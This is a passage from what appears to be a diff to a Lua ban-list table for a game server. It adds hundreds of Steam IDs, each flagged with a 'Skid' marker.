{Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19539416"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27117270"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4211476"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13585332"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38777126"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7153926"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19260640"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32127712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25550024"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19052887"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33490482"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5451984"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43787712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30086164"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23252025"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20558333"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17338989"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12703954"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34127219"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34365603"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27414251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18893179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37046010"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25109932"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37240301"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25158839"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7754747"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7947396"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6049651"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38757071"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26030255"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9194520"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24128663"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11767656"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28764179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37976619"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24077491"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26380030"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8863407"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20065283"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26625728"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25045773"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19777068"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31702774"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42770207"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18259747"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13628167"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14121213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24118889"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31041118"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17047736"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17486334"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:217737"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33557519"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11100235"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42747668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18159307"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18227861"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5945545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42044871"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38723618"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15876684"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18052906"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34237858"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20953100"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28789597"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20687901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25111608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27365675"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35368219"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28485064"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20151452"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26976825"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15765533"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:263800309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28719235"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36532608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24259620"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:44094722"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9519358"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26748262"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6624665"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36141470"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3655297"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34342296"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32384783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25339703"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21130961"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14170171"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30768148"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28742736"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26225157"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26988343"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28877873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30805136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23237883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32057619"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48638347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20359225"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33456444"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22996898"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39262404"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38633775"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40507881"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41328874"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33726071"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38563417"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29795615"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32830571"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31565430"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22198514"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43201305"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:48925964"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24205901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26693163"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:321433"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:53722509"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32877666"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28403316"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34206696"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33461083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33568098"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18586851"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39891986"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36041983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37143337"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50151521"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:52001014"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:48704057"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40974950"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34280515"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8861721"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12902329"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13015320"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19797241"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39934786"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17442689"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38239115"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12102262"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24143620"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:1103266"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19433641"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37916001"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32902612"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32088228"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19890993"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39052466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46469213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47256983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3208705"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15716341"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25317853"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41554685"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44464834"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23747163"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4625516"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50887902"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:230392578"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19919010"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30721689"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25992956"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23776488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45333067"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29657367"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18947080"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32290988"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13877246"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37767195"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12524428"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8636459"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26881243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39270640"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48327306"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42647076"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41254289"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35620733"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41774746"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11814625"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20017563"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48091070"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5145161"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35169729"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20227463"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17534850"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34025730"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36423890"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4315767"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43449433"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25827261"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23706724"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19886959"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14480417"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46876601"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40273675"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11008196"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22318105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33463708"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23762418"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11406901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20126184"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34243150"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10201602"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19805383"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14718607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:51103476"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9849195"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:49952872"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30900098"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23777666"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17080079"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13960448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27353003"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14296340"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5583774"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39928875"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33208793"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22355976"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20078865"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26603617"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43948106"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14834667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29931872"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:51668768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33230276"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20513783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32199091"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17460701"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30862688"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5330971"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20770712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50760997"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:49264079"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30314043"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10273441"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21147046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17611352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18700046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19733218"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41014136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35238040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48249956"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15236914"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30473331"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17546475"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42612352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43696135"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25496979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26715437"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10275091"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7203247"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30239217"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43854767"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16188220"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20024688"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32126480"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21694380"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33270742"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32674475"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18031046"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30436246"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:219738"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33454113"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15914172"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11618020"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25066451"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10351556"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25296195"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21168778"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35793087"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29911358"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29778387"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47401128"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25883991"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18429816"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23088943"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15748151"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23128741"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34007305"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33156398"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42609261"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27404539"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41181958"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43823851"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10660042"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:48654308"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26915341"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30582120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40785501"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24797947"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33445150"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:49897261"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39239598"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:48000381"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25929258"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19701872"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28205092"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44195040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30616095"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26693656"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16527149"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14017217"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45755644"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20557066"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26191386"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42741441"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14516636"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26032477"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11799463"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30259744"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18234911"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26504062"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14408242"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28324757"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43083181"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40873196"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21390535"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22276178"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31314168"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18124616"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24500739"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40097972"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36172911"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35016298"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:2632888"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17703691"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:88759"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23337446"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29562105"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26352511"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41961819"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4297793"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8864115"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25202096"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6905426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39186291"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37077205"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30413470"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30414325"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21797329"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21225947"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42446233"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21188595"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16298971"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27160187"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16296136"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38421644"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20585929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40656196"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37695743"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16401943"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18331942"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34010648"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28365130"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18746525"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32267256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30535432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24956126"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28402390"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26721107"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30105751"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29179400"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31751804"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26223162"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36554731"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22536674"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30043948"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27339186"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35314759"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24897642"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14376948"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22398102"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33520203"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18440679"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27530603"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21688661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19283668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37587002"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33784291"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34054266"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28657092"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18378081"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27486295"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13344926"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29690841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16882263"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29633037"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18721868"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27503388"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19754822"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22880607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37042668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:162121921"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19682412"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14194111"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25645275"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33697310"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16784697"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23722793"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35754824"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17823415"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17940399"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17256486"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25917251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5524801"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14989768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31567843"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31085805"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19518698"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23312530"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33800049"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33948669"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35800333"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19746778"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19770258"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15964847"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11942712"] = {Name = "banlist: ", Skid = true}, + 